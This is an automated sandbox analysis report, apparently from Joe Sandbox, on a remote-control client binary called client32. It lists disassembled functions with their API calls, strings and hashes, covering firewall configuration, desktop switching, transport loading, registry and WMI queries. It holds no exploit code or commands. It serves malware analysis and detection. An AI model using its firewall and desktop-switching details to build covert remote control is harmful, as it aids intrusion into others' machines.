API String ID: 2823542970-1528906934
Opcode ID: 9e66086bdcfe763fdfca1dd6d11cb513a07c5b652eaae9028f71572ee86393c5
Instruction ID: 91282df486796d8d45fa06834b6704f4eef725291cd5fd64ae30f86ab301b8e1
Opcode Fuzzy Hash: 9e66086bdcfe763fdfca1dd6d11cb513a07c5b652eaae9028f71572ee86393c5
Instruction Fuzzy Hash: F6415E79A0022D6BD724CF51DC81FEAB7BCEF58748F1041D9EA49A6140DBB06E85CFA1

Function 11138580 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

GetTickCount.KERNEL32 ref: 111385E2

Part of subcall function 11096D90: CoInitialize.OLE32(00000000), ref: 11096DA4
Part of subcall function 11096D90: CLSIDFromProgID.OLE32(HNetCfg.FwMgr,?,?,?,?,?,?,?,111385EB), ref: 11096DBE
Part of subcall function 11096D90: CoCreateInstance.OLE32(?,00000000,00000001,111C1B4C,?,?,?,?,?,?,?,111385EB), ref: 11096DDB
Part of subcall function 11096D90: CoUninitialize.OLE32(?,?,?,?,?,?,111385EB), ref: 11096DF9

GetTickCount.KERNEL32 ref: 111385F1
_memset.LIBCMT ref: 11138633
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 11138649
_strrchr.LIBCMT ref: 11138658
_free.LIBCMT ref: 111386AA

Strings

ICFConfig2 returned 0x%x, xrefs: 111386B0
IsICFPresent() took %d ms, xrefs: 111385FD
ICFConfig, xrefs: 11138595
No ICF present, xrefs: 111386E2
*AutoICFConfig, xrefs: 111385B7
IsICFPresent..., xrefs: 111385CF
Client, xrefs: 111385BC

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: 5eb3671e29344256acc8e4b42e6a6c739429c132e016e962bb157113eab44bd9
Instruction ID: 5891752c4c55aadc8c036c0ba7fa863b534ef4ea4707a2085efa3f6ff011156f
Opcode Fuzzy Hash: 5eb3671e29344256acc8e4b42e6a6c739429c132e016e962bb157113eab44bd9
Instruction Fuzzy Hash: D8419C7AE0012E9BD710DB755C85FDAF778EB5531CF0001B9EC0997284EAB1A944CBE1

Function 11134D90 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11146010: _memset.LIBCMT ref: 11146055
Part of subcall function 11146010: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
Part of subcall function 11146010: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
Part of subcall function 11146010: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
Part of subcall function 11146010: FreeLibrary.KERNEL32(00000000), ref: 111460BF
Part of subcall function 11146010: GetSystemDefaultLangID.KERNEL32 ref: 111460CA

AdjustWindowRectEx.USER32(11142328,00CE0000,00000001,00000001), ref: 11134DD7
LoadMenuA.USER32(00000000,000003EC), ref: 11134DE8
GetSystemMetrics.USER32(00000021), ref: 11134DF9
GetSystemMetrics.USER32(0000000F), ref: 11134E01
GetSystemMetrics.USER32(00000004), ref: 11134E07
GetDC.USER32(00000000), ref: 11134E13
GetDeviceCaps.GDI32(00000000,0000005A), ref: 11134E1E
ReleaseDC.USER32(00000000,00000000), ref: 11134E2A
CreateWindowExA.USER32(00000001,NSMWClass,037C0C60,00CE0000,80000000,80000000,11142328,?,00000000,?,11000000,00000000), ref: 11134E7F
GetLastError.KERNEL32(?,?,?,?,?,110F8239,00000001,11142328,_debug), ref: 11134E87

Strings

NSMWClass, xrefs: 11134E79
CreateMainWnd, hwnd=%x, e=%d, xrefs: 11134E8F
mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 11134E3E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: 66ba732ae51c7fd460c66f2128e0a3373d5a4979d1dd1b3930dacd21693fd196
Instruction ID: ea278f5fd7360d42281fd81be3dd0b2008dee34a98883b586f11dcb677731357
Opcode Fuzzy Hash: 66ba732ae51c7fd460c66f2128e0a3373d5a4979d1dd1b3930dacd21693fd196
Instruction Fuzzy Hash: 04317075A40229ABDB149FE58D85FAEFBB8FB48709F100528FA11A7644D6746900CBA4

Function 11133B00 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11133B70
GetTickCount.KERNEL32 ref: 11133BA1
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11133BB4
GetTickCount.KERNEL32 ref: 11133BBC

Strings

Warning. SHGetFolderPath took %d ms, xrefs: 11133BC6
runplugin.exe, xrefs: 11133B4E
HasStudentComponents=%d, xrefs: 11133C37
%s%s, xrefs: 11133B6A, 11133C0E
schplayer.exe, xrefs: 11133BF8
CommonPath, xrefs: 11133BDF
Software\NSL, xrefs: 11133BE4

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: 3e33b262656940685e1aad64be50304ad358b3175c825220752b1feac52a0f54
Instruction ID: ff3437da4bce093be243bc4ea55ba4e08a4d9634e929d706e548d7c9b68f93f5
Opcode Fuzzy Hash: 3e33b262656940685e1aad64be50304ad358b3175c825220752b1feac52a0f54
Instruction Fuzzy Hash: 68315BB5E1022EABD3209BB19D80FEDF3789B9031DF100065E815A7644EF71B9048795

Function 11027200 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11027286
_strtok.LIBCMT ref: 110272C0
Sleep.KERNEL32(110302E7,?,*max_sessions,0000000A,00000000,?,00000002), ref: 110273B4

Strings

*max_sessions, xrefs: 11027316
UseNCS, xrefs: 110272DD
Retrying..., xrefs: 110273A2
Error. not all transports loaded (%d/%d), xrefs: 11027388
Protocols, xrefs: 11027271
TCPIP, xrefs: 110272E2
Client, xrefs: 11027276, 1102731B
LoadTransports(%d), xrefs: 110272FC

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: 63e92d32746378da14513997d44a64d2e58a17b182b9feed40e1f111193f9b60
Instruction ID: 2d05d95278d551eaaa07460440d96754ad32abd10519b78537541f164f63ece7
Opcode Fuzzy Hash: 63e92d32746378da14513997d44a64d2e58a17b182b9feed40e1f111193f9b60
Instruction Fuzzy Hash: EE513536E0166A8BDB11CFE4CC81FEEFBF4AF95308F644169E81567244D7316849CB92

Function 111037D0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11089560: UnhookWindowsHookEx.USER32(?), ref: 11089583

GetCurrentThreadId.KERNEL32 ref: 111037EC
GetThreadDesktop.USER32(00000000), ref: 111037F3
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 11103803
SetThreadDesktop.USER32(00000000), ref: 11103810
CloseDesktop.USER32(00000000), ref: 11103829
GetLastError.KERNEL32 ref: 11103831
CloseDesktop.USER32(00000000), ref: 11103847
GetLastError.KERNEL32 ref: 1110384F

Strings

OpenDesktop(%s) failed, e=%d, xrefs: 11103857
SetThreadDesktop(%s) failed, e=%d, xrefs: 11103839
SetThreadDesktop(%s) ok, xrefs: 1110381B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: da88b65c0f1a222e5146661c722578c7b813502f3e62b472f9264116a955105f
Instruction ID: e88c17566eeed1fb37d42defb77813990fcfc850afde34c4ed6f8b5b44c54373
Opcode Fuzzy Hash: da88b65c0f1a222e5146661c722578c7b813502f3e62b472f9264116a955105f
Instruction Fuzzy Hash: 4A112979F402196BE7047BB25C89F6FFA2C9F8561DF000038F8268A645EF24A40083B6

Function 1115F240 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115F268
GetLastError.KERNEL32 ref: 1115F275
wsprintfA.USER32 ref: 1115F288

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115F2CC
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115F2D9

Strings

NSMWndClass, xrefs: 1115F260
NSMDropTarget, xrefs: 1115F2CE
NSMReflect, xrefs: 1115F2C7
..\ctl32\wndclass.cpp, xrefs: 1115F299, 1115F2B5
GlobalAddAtom failed, e=%d, xrefs: 1115F282
m_aProp, xrefs: 1115F2BA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: 402ec4c373f1d9ae321d95a7acd37e1e5b6a56151d149dbb571c93f25e459d97
Instruction ID: 07e815115c29277e6575bd3acbfe434a71258061b731743832bfb2ada14664d5
Opcode Fuzzy Hash: 402ec4c373f1d9ae321d95a7acd37e1e5b6a56151d149dbb571c93f25e459d97
Instruction Fuzzy Hash: BB1127B5A4031AEBC720EFE69C80ED5F7B4FF22718B00466EE46643140EB70E544CB81

Function 11110DE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 11110E4A
__CxxThrowException@8.LIBCMT ref: 11110E5F
GetCurrentThreadId.KERNEL32 ref: 11110E76
InitializeCriticalSection.KERNEL32(-00000010,?,11031700,00000001,00000000), ref: 11110E89
InitializeCriticalSection.KERNEL32(111F18F0,?,11031700,00000001,00000000), ref: 11110E98
EnterCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110EAC
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031700), ref: 11110ED2
LeaveCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110F5F

Strings

..\ctl32\Refcount.cpp, xrefs: 11110EE6
QueueThreadEvent, xrefs: 11110EEB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: d645c5834ea71053a0f95081aaaa0ddb1bcc4547c3ef44f405f5b2b37748006b
Instruction ID: f3d5edf841f59403b8991f5d6a5c2e10d1098d1cef77e9e1f9f0bcea7e620dca
Opcode Fuzzy Hash: d645c5834ea71053a0f95081aaaa0ddb1bcc4547c3ef44f405f5b2b37748006b
Instruction Fuzzy Hash: 2141AD75E00626AFDB11CFB98D80AAAFBF4FB45708F00453AF815DB248E77599048B91

Function 11061320 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 289registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,11180365,00000000,00000000,AB86ACF8,00000000,?,00000000), ref: 110613A4
_malloc.LIBCMT ref: 110613EB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

RegEnumValueA.ADVAPI32(?,?,?,00000000,00000000,00000000,000000FF,?,AB86ACF8,00000000), ref: 1106142B
RegEnumValueA.ADVAPI32(?,00000000,?,00000100,00000000,?,000000FF,?), ref: 11061492
_free.LIBCMT ref: 110614A4

Strings

maxname < _tsizeof (m_szSectionAndKey), xrefs: 110613D8
strlen (k.m_k) < _tsizeof (m_szSectionAndKey), xrefs: 110615AA
err == 0, xrefs: 110613B8
..\ctl32\Config.cpp, xrefs: 110613B3, 110613D3, 110615A5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumValue$ErrorExitInfoLastMessageProcessQuery_free_mallocwsprintf
String ID: ..\ctl32\Config.cpp$err == 0$maxname < _tsizeof (m_szSectionAndKey)$strlen (k.m_k) < _tsizeof (m_szSectionAndKey)
API String ID: 999355418-161875503
Opcode ID: 1fd6cffb0b6506106fbd2de026ba492dd64e6340ee49c1c0b4f88686c2a5e216
Instruction ID: 6cc8e5caf6a1957f468abfb3494a260dc46a483def11051c8948769c459486e3
Opcode Fuzzy Hash: 1fd6cffb0b6506106fbd2de026ba492dd64e6340ee49c1c0b4f88686c2a5e216
Instruction Fuzzy Hash: 78A1A175A007469FE721CF64C880BABFBF8AF49304F144A5DE59697680E771F508CBA1

Function 1115C8E0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,AB86ACF8,00000000,?), ref: 1115C927
CoCreateInstance.OLE32(111C627C,00000000,00000017,111C61AC,?), ref: 1115C947
wsprintfW.USER32 ref: 1115C967
SysAllocString.OLEAUT32(?), ref: 1115C973
wsprintfW.USER32 ref: 1115CA27
SysFreeString.OLEAUT32(?), ref: 1115CAC8

Strings

WQL, xrefs: 1115CA40
root\CIMV2, xrefs: 1115C961
SELECT * FROM %s, xrefs: 1115CA21

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 175defb0ff3311be352c3e895ec4c40801578b620f8bdfb43f719b83b34ddfee
Instruction ID: 91bf14772fb0e49150e0dc85e0cb347219a857647afd576183cc1e94570c565b
Opcode Fuzzy Hash: 175defb0ff3311be352c3e895ec4c40801578b620f8bdfb43f719b83b34ddfee
Instruction Fuzzy Hash: 04518071B40619AFC764CF69CC94F9AFBB8EB8A714F0046A9E429D7640DA30AE41CF51

Function 11146010 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145F00: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11145F70
Part of subcall function 11145F00: RegCloseKey.ADVAPI32(?), ref: 11145FD4

_memset.LIBCMT ref: 11146055
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
FreeLibrary.KERNEL32(00000000), ref: 111460BF
GetSystemDefaultLangID.KERNEL32 ref: 111460CA

Strings

kernel32.dll, xrefs: 11146080
GetUserDefaultUILanguage, xrefs: 111460A1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
